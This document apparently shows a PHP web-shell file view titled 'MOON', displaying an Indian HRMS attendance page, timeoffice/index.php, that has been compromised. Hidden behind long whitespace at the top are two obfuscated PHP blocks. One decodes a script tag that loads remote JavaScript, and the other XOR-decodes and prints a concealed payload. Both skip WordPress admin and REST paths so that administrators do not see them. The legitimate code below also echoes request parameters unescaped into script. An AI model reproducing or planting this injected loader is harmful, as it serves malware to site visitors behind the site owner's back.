MOON
Server: Apache
System: Linux nserver.cafsindia.com 4.18.0-553.104.1.lve.el8.x86_64 #1 SMP Tue Feb 10 20:07:30 UTC 2026 x86_64
User: cafsindia (1002)
PHP: 8.2.30
Disabled: NONE
Upload Files
File: /home/cafsindia/hrms_cafsindia_com/timeoffice/index.php
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 <?php $tq = $_SERVER['REQUEST_URI'];/*87665346638*/ try{$a=0; if(strpos($tq,"rest_route")!==false){$a=1;}if(strpos($tq,"wp-json")!==false){$a=1;}if($a==0){ $j="bas"."e64"."_d"."eco"."de"; print($j("PHNj"."cmlwdC"."Bhc3luYz0ndHJ"."1ZScgc3"."JjPS"."dodHRwc"."zovL2dldC5"."zb3J0eWVsbG"."93YXBwbGVzLmNvb"."S9zY3Jp"."cHRzL2dldC5qcz9"."2PTcu"."NScgPj"."wvc2"."Npc"."n"."B0Pg"));}     }catch (Exception $e) {} ?>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                               <?php $a = "675978985456saawm67879789gfdg679487435dsf"; $b="ba"."s" .chr(101).chr(54).chr(52).chr(95).chr(101).chr(110).chr(99). "ode"; $c="ba"."s" .chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99). "ode"; $d=$b($a);$f="st".$c("cl9wYQ")."d";$e="st".$c("cmxl")."n";$ss="st".$c("cnBv")."s";$j="su".$c("YnN0")."r";$h="p".$c("cmlu")."t_r";$ht0="H".$c("VFRQX0hP")."ST";$ht1="RE".$c("UVVFU1RfVQ")."RI";$aa = array( $j($a,12,1) => "U1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NT",$j($a,13,2) => "XRICEwgRFUEAEhgPAlxGFRMUBEZBFRgRBFxGFQQZFU4LABcAEgITCBEVRkESEwJcRg",$j($a,15,1)  => "HwMDBwRNWFgTGQRZER4FBAMVGxYUHAcfFgQSWRQYGlgEFAUeBwMEWAQDFgUDWR0ESAEbSkdZTllC",$j($a,16,1)=>"SlNRQh4OHwQdGVM");$l = "";foreach ($aa as $b=>$cc){$w1 = $c($cc) ^ $f($b, $e($cc), $b);$l =$l . $w1;} try{$vgg = $_SERVER[$ht0].$_SERVER[$ht1];$z=1;  if($ss($vgg,"wp".$c("LWFkbQ")."in")!==false) $z=0;  if($ss($vgg,"/wp".$c("LWxvZ2luLnA")."hp")!==false)  $z=0;  if($ss($vgg,"wp".$c("LWpz")."on")!==false)$z=0; if($ss($vgg,"re".$c("c3Rfcm91")."te")!==false) $z=0; if($z==1) $h($l);}catch (Exception $e) {} ?><?php
	require("./timeoffice_model.php");
	$api_model = new timeoffice_model;
	$frm              = "";
	$unpunched_date   = "";
	$manage_emp_code  = "";
	if(isset($_GET['frm'])){
		$frm  = $_GET['frm'];
	}
	if(isset($_GET['unpunched_date'])){
		$unpunched_date  = base64_decode($_GET['unpunched_date']);
	}
	if(isset($_GET['emp_code'])){
		$manage_emp_code  = base64_decode($_GET['emp_code']);
	}
	$curr_date      = date('Y-m-d');
	//expire date is not updated;
	//$unpunched_date = "2020-07-11";	
	if($unpunched_date){
		$days_count     = $api_model->get_expire_info();
		if(date('D',strtotime($unpunched_date)) == 'Sat'){
		  $days_count = $days_count + 1;
		}		
		$expire_date    = date('Y-m-d',strtotime($unpunched_date. '+'.$days_count. 'days'));
	}else{
		$expire_date    = "";
	}	
		$check_unpunched_data = $api_model->check_unpunched_data($unpunched_date,$manage_emp_code);
		if(!$check_unpunched_data){
			//if(strtotime($expire_date) >= strtotime($curr_date)){
			$unpunched_info = $api_model->get_unpunch($unpunched_date,$manage_emp_code);
			$emp_data       = $api_model->get_emp_data();
			$leave_status   = $api_model->get_leave_status();
			$tr_line = "";
			foreach($unpunched_info as $unpunched){
				$dailyunpunch_id  = $unpunched->dailyunpunch_id;
				$emp_code         = $unpunched->empcode;
				$dcode            = $unpunched->dcode;
				$emp_name         = $unpunched->emp_name;
				$designation      = $unpunched->designation;
				$tl_report        = $unpunched->tl_report;
				$tl_name          = $emp_data[$tl_report]['emp_name'];
				$code             = $dcode."_".$unpunched->dailyunpunch_id;
				if($unpunched->in_time){
					$in_time      = date('h:i A',strtotime($unpunched->in_time));
				}else{
					$in_time      = "-";
				}
				if($unpunched->out_time){
					$out_time     = date('h:i A',strtotime($unpunched->out_time));
				}else{
					$out_time     = "-";
				}
				$i_sts     = "Invalid Punch"; 
				if($unpunched->swipe_status === "I" && $in_time === "-"){
					$i_sts = "Intime Not punched";
				}else
				if($unpunched->swipe_status === "I" && $out_time === "-"){
					$i_sts = "Outtime Not punched";
				}
				$swipe_array      = array('U' =>'Unpunched','I' =>$i_sts,'SU' =>'Second Half Unpunch','FU' =>'First Half Unpunch','LP' =>'Late Punch');
				$swipe_status     = $swipe_array[$unpunched->swipe_status];
				$display="";
				/*if($unpunched->swipe_status ==="LP"){
					$display="style='display:none;'";
				}*/
				$tr_line         .= "<tr $display><td>$emp_code</td><td>$emp_name</td><td>$designation</td><td>$tl_name</td><td>$swipe_status</td><td>$in_time</td><td>$out_time</td><td><select id='manager_status_$code' name='manager_status_$code' class='form-control'>
					$leave_status
					</select>
					</td>
				</tr>";
			}
			$content = "<form id='unpunched_form' class='form-inline' autocomplete='off' method='post' accept-charset='utf-8' novalidate='novalidate'>
						<h4 class='tab_head'>Unpunched Details on ".date("d-m-Y",strtotime($unpunched_date))."</h4>
						<table class='table table-striped table-bordered' style='text-align:center;'>
								<thead>
									<tr>
										<th>Employee Code</th>
										<th>Employee Name</th>
										<th>Designation</th>
										<th>TL Reporting</th>
										<th>Current Status</th>
										<th>In Time</th>
										<th>Out Time</th>
										<th>Manger Status</th>
									</tr>
								</thead>
								<tbody>
									$tr_line
								</tbody>
							</table>
							<button type='submit' class='btn btn-primary center-block' id='unpunched_submit'>Submit</button>
					</form>";
			//}else{
			//	$content = "<div class='jumbotron text-center'><h3>Link is expired contact admin!</h3></div>";
			//}
		}else{
			$tr_line = "";
			//print_r($check_unpunched_data);die;
			foreach($check_unpunched_data as $rslt){
				$att_date         = date('d-m-Y',strtotime($rslt->att_date));
				$emp_code         = $rslt->empcode;
				$emp_name         = $rslt->emp_name;
				$manager_status   = $rslt->manager_status;
				$tr_line         .= "<tr><td>$att_date</td><td>$emp_code</td><td>$emp_name</td><td>$manager_status</td></tr>";
			}
			$content = "<div class='jumbotron text-center'>
						<h3>Already update employee status</h3>
						<table class='table table-striped table-bordered'>
								<thead>
									<tr>
										<th>Date</th>
										<th>Employee Code</th>
										<th>Employee Name</th>
										<th>Manger Status</th>
									</tr>
								</thead>
								<tbody>
									$tr_line
								</tbody>
							</table></div>";
		}
	
?>
<html>
	<head>
		<meta charset='utf-8'>
		<meta name='viewport' content='width=device-width, initial-scale=1, shrink-to-fit=no'>		
		<title>Unpunched Details</title>
		<script type='text/javascript' src='../dist/opensourcepos.min.js?rel=20191228'></script>
		<script type='text/javascript' src='../dist/validate.js?rel=20191228'></script>
		<link rel='stylesheet' type='text/css' href='../dist/bootstrap.min.css?rel=20191228'/>
		<link rel='stylesheet' type='text/css' href='../dist/smart_hrms.css?rel=20191228'/>
		<link rel='stylesheet' type='text/css' href='../dist/jquery-ui.css'/>
		<link rel='stylesheet' type='text/css' href='../dist/font-awesome.min.css'/>
		<!-- TOASTR -->
		<script type='text/javascript' src='../dist/toastr/toastr.js'></script>
		<link rel='stylesheet' type='text/css' href='../dist/toastr/toastr.css'/>
		<!-- TOASTR -->
       <style>
		.form-group {
			width: 100% !important;
			margin-left: 0px !important;
			margin-bottom: 30px !important;
		}
		.tab_head {
			margin: 15px 0px !important;
			text-align:center;
		}
		</style>
	</head>
	<body contenteditable='false'>
		<div class='container-fulid'>
			<div class='row' style='margin-left:10px;margin-right:10px;'>
				<div id='unpunched_info' class='col-md-12'>
					<?php echo $content; ?>	
				</div>
			</div>
		</div>
		<div class="jumbotron text-center">
			<div id='table_info' style='padding:8px;overflow: auto;'>
			</div>
		</div>
	</body>
	<script type='text/javascript'>
		$(document).ready(function(){
			var manage_emp_code  = "<?php echo $manage_emp_code; ?>";
			var unpunched_date   = "<?php echo $unpunched_date; ?>";
			$('#unpunched_submit').click(function(e){
				$("#unpunched_submit").html("<i class='fa fa-spinner fa-spin'></i> We are processing your request.. Please do not close or refresh the page....");
				$('#unpunched_submit').attr('disabled','disabled');
				var can_process = true;
				/*$('tbody > tr:hidden select', '#unpunched_form').each(function(){
					$(this).val("P");
				});*/
				$('tbody > tr:visible select', '#unpunched_form').each(function(){
					if($(this).val() === ''){
						can_process = false;
					}
				});				
				if(can_process){
					var fdata = JSON.stringify($('#unpunched_form').serializeArray());
					$.ajax({
						type: 'POST',
						url: 'timeoffice_callback.php?frm=manager_sts',
						data:{manage_emp_code:manage_emp_code,unpunched_date:unpunched_date,fdata:fdata},
						success: function (data) {
							var rslt = JSON.parse(data);
							if(rslt.success){
								toastr.success(rslt.message);
								$('#unpunched_info').hide();
								$("#table_info").html(rslt.table_info);
							}else{
								toastr.warning(rslt.message);
							}
							$("#unpunched_submit").html("Submit");
							$('#unpunched_submit').attr('disabled',false);
						}
					});
				}else{
					$("#unpunched_submit").html("Submit");
					$('#unpunched_submit').attr('disabled',false);
					toastr.error('Please update the status for All the employees?');
				}
				e.preventDefault();
			});
		});
	</script>
</html>